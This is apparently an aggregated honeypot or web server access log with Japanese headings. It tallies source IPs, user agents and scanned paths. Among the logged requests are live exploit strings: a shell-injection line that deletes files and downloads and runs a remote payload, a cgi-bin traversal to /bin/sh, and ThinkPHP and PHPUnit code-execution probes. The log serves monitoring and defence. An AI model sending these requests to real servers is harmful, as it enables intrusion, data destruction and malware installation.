1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 PRI * HTTP/2.0
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス
1 18.191.65.103 United States
15 20.163.21.251 United States
1 38.68.52.51 United States
2 45.33.80.243 United States
1 45.56.108.128 United States
1 45.79.128.205 United States
1 45.79.172.21 United States
1 45.79.181.94 United States
1 45.79.181.104 United States
1 45.79.181.179 United States
1 45.79.181.251 United States
1 45.135.232.28 Russia
10 54.37.79.75 France
1 64.62.197.93 United States
1 64.62.197.99 United States
1 66.240.192.82 United States
1 74.82.47.3 United States
1 79.124.62.106 Bulgaria
1 80.66.88.204 Russia
1 92.204.128.155 Germany
2 95.181.233.17 Romania
1 104.248.166.178 United States
2 109.237.98.226 Russia
91 139.162.7.59 Netherlands
1 149.5.172.27 United States
4 152.32.153.103 Hong Kong
1 156.215.165.217 Egypt
1 159.203.208.8 United States
2 162.142.125.216 United States
1 162.243.141.14 United States
1 162.243.146.30 United States
2 167.94.138.127 United States
2 167.248.133.38 United States
1 172.104.11.34 United States
1 172.104.11.46 United States
1 172.104.11.51 United States
1 172.105.128.11 United States
1 172.105.128.13 United States
1 176.31.92.134 France
3 178.79.132.34 United States
4 179.43.162.72 Panama
1 183.136.225.32 China
1 185.180.143.8 Portugal
1 185.180.143.81 Portugal
1 185.180.143.136 Portugal
1 185.180.143.140 Portugal
1 185.224.128.157 Netherlands
4 192.155.90.118 United States
1 193.118.53.194 United States
1 194.59.31.131 Bulgaria
1 205.210.31.27 United States
1 205.210.31.89 United States
12 213.109.202.66 United Kingdom
1 222.89.191.156 China

UserAgent一覧

件数 UserAgent
42 -
1 KPLR-requests
3 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
3 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11
1 Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaE7-00/010.016; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.7.3 3gpp-gba
5 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
12 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
14 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
13 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
3 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
3 Mozilla/5.0 zgrab/0.x
90 curl/7.54.0

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 MGLNDD_13.67.44.234_80
2 \x03
1 \x16\x03\x01\x01H\x01
1 \x16\x03\x01\x01\t\x01
1 \x16\x03\x01\x01\xfb\x01
1 \x16\x03\x01\x02
28 \x16\x03\x01
1 ``
15 GET /.env HTTP/1.1
1 GET /.git/HEAD HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /8epO HTTP/1.1
1 GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 HTTP/1.1
1 GET /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1
1 GET /CSS/Miniweb.css HTTP/1.1
1 GET /HNAP1 HTTP/1.1
1 GET /Portal/Portal.mwsl HTTP/1.1
1 GET /Portal0000.htm HTTP/1.1
1 GET /ReportServer HTTP/1.1
1 GET /__Additional HTTP/1.1
1 GET /_ignition/execute-solution HTTP/1.1
1 GET /_profiler/phpinfo HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /admin.asp HTTP/1.1
1 GET /admin.aspx HTTP/1.1
1 GET /admin.cfm HTTP/1.1
1 GET /admin.cgi HTTP/1.1
1 GET /admin.jsa HTTP/1.1
1 GET /admin.jsp HTTP/1.1
1 GET /admin.shtml HTTP/1.1
1 GET /base.asp HTTP/1.1
1 GET /base.aspx HTTP/1.1
1 GET /base.cfm HTTP/1.1
1 GET /base.cgi HTTP/1.1
1 GET /base.html HTTP/1.1
1 GET /base.jsa HTTP/1.1
1 GET /base.jsp HTTP/1.1
1 GET /base.php HTTP/1.1
1 GET /base.pl HTTP/1.1
1 GET /blog/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /cms/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /console/ HTTP/1.1
1 GET /default.asp HTTP/1.1
1 GET /default.cfm HTTP/1.1
1 GET /default.cgi HTTP/1.1
1 GET /default.html HTTP/1.1
1 GET /default.php HTTP/1.1
1 GET /default.pl HTTP/1.1
1 GET /default.shtml HTTP/1.1
1 GET /docs/cplugError.html/ HTTP/1.1
1 GET /druid/index.html HTTP/1.1
1 GET /exactarget/PMTA/vmta.txt HTTP/1.1
11 GET /favicon.ico HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /geoserver HTTP/1.1
1 GET /home.asp HTTP/1.1
1 GET /home.cgi HTTP/1.1
1 GET /home.jhtml HTTP/1.1
1 GET /home.jsa HTTP/1.1
1 GET /home.jsp HTTP/1.1
1 GET /home.php HTTP/1.1
1 GET /home.pl HTTP/1.1
1 GET /home.shtml HTTP/1.1
1 GET /index.asp HTTP/1.1
1 GET /index.aspx HTTP/1.1
1 GET /index.html HTTP/1.1
1 GET /index.jsa HTTP/1.1
1 GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1
1 GET /index.pl HTTP/1.1
1 GET /index.shtml HTTP/1.1
1 GET /indice.cfm HTTP/1.1
1 GET /indice.html HTTP/1.1
1 GET /indice.jhtml HTTP/1.1
1 GET /indice.jsa HTTP/1.1
1 GET /indice.jsp HTTP/1.1
1 GET /indice.php HTTP/1.1
1 GET /indice.shtml HTTP/1.1
1 GET /inicio.aspx HTTP/1.1
1 GET /inicio.cfm HTTP/1.1
1 GET /inicio.jhtml HTTP/1.1
1 GET /inicio.shtml HTTP/1.1
1 GET /localstart.asp HTTP/1.1
1 GET /localstart.cgi HTTP/1.1
1 GET /localstart.jhtml HTTP/1.1
1 GET /main.asp HTTP/1.1
1 GET /main.aspx HTTP/1.1
1 GET /main.cfm HTTP/1.1
1 GET /main.jsa HTTP/1.1
1 GET /main.jsp HTTP/1.1
1 GET /main.pl HTTP/1.1
1 GET /menu.asp HTTP/1.1
1 GET /menu.aspx HTTP/1.1
1 GET /menu.html HTTP/1.1
1 GET /menu.jsa HTTP/1.1
1 GET /menu.jsp HTTP/1.1
1 GET /menu.pl HTTP/1.1
1 GET /menu.shtml HTTP/1.1
1 GET /news/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /nmaplowercheck1689274083 HTTP/1.1
1 GET /phpmyadmin/index.php HTTP/1.1
1 GET /pools/default/buckets HTTP/1.1
1 GET /pools HTTP/1.1
1 GET /readme.txt HTTP/1.1
2 GET /robots.txt HTTP/1.1
1 GET /server-status HTTP/1.1
1 GET /shell?cd+/tmp;rm+-rf+*;wget+ testbots.maizhangyu.top/jaws;sh+/tmp/jaws
1 GET /showLogin.cc HTTP/1.1
1 GET /site/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /sitemap.xml HTTP/1.1
1 GET /sito/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /solr/admin/info/system?wt=json HTTP/1.1
1 GET /start.aspx HTTP/1.1
1 GET /start.cfm HTTP/1.1
1 GET /start.html HTTP/1.1
1 GET /start.jsa HTTP/1.1
1 GET /start.php HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
1 GET /test/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /web/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /website/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wordpress/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp1/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /wp2/wp-includes/wlwmanifest.xml HTTP/1.1
1 GET /xmlrpc.php?rsd HTTP/1.1
1 GET default.asp HTTP/1.1
2 HEAD / HTTP/1.1
1 POST /Autodiscover/Autodiscover.xml HTTP/1.1
1 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /cgi-bin/luci/;stok=/locale?form=country HTTP/1.1
1 POST /scripts/WPnBr.dll HTTP/1.1
1 POST /sdk HTTP/1.1
1 POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 PRI * HTTP/2.0